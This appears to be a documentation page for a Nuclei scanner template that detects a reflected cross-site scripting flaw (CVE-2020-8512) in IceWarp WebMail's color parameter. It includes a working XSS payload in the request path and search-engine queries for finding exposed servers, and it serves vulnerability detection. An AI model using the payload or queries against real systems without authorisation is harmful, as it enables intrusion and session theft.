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IceWarp WebMail Server <=11.4.4.1 - Cross-Site Scripting

ID: CVE-2020-8512

Severity: medium

Author: pdteam,dwisiswant0

Tags: cve,cve2020,edb,packetstorm,xss,icewarp

Description

Section titled “Description”

IceWarp Webmail Server through 11.4.4.1 contains a cross-site scripting vulnerability in the /webmail/ color parameter.

YAML Source

Section titled “YAML Source”
id: CVE-2020-8512


info:
  name: IceWarp WebMail Server <=11.4.4.1 - Cross-Site Scripting
  author: pdteam,dwisiswant0
  severity: medium
  description: IceWarp Webmail Server through 11.4.4.1 contains a cross-site scripting vulnerability in the /webmail/ color parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the victim's browser, potentially leading to session hijacking, data theft, or other malicious activities.
  remediation: |
    Upgrade to a patched version of IceWarp WebMail Server (>=11.4.4.2) or apply the vendor-provided patch to mitigate the vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/47988
    - https://twitter.com/sagaryadav8742/status/1275170967527006208
    - https://cxsecurity.com/issue/WLB-2020010205
    - https://packetstormsecurity.com/files/156103/IceWarp-WebMail-11.4.4.1-Cross-Site-Scripting.html
    - https://nvd.nist.gov/vuln/detail/CVE-2020-8512
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2020-8512
    cwe-id: CWE-79
    epss-score: 0.00692
    epss-percentile: 0.80113
    cpe: cpe:2.3:a:icewarp:icewarp_server:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: icewarp
    product: icewarp_server
    shodan-query:
      - title:"icewarp"
      - http.title:"icewarp"
    fofa-query: title="icewarp"
    google-query: intitle:"icewarp"
  tags: cve,cve2020,edb,packetstorm,xss,icewarp


http:
  - method: GET
    path:
      - '{{BaseURL}}/webmail/?color=%22%3E%3Csvg/onload=alert(document.domain)%3E%22'


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<svg/onload=alert(document.domain)>"
          - "<strong>IceWarp"
        condition: and


      - type: word
        part: header
        words:
          - "text/html"


      - type: status
        status:
          - 200
# digest: 490a0046304402206aa24bff7db60fd0ddcabbc7bef4281f3c4940c2a20fe115c6aaa7daf21b4b760220369b01eed15df3a5a18af45858d3626a7216a8131e7962f0b892caa52e8a3b3d:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2020/CVE-2020-8512.yaml"

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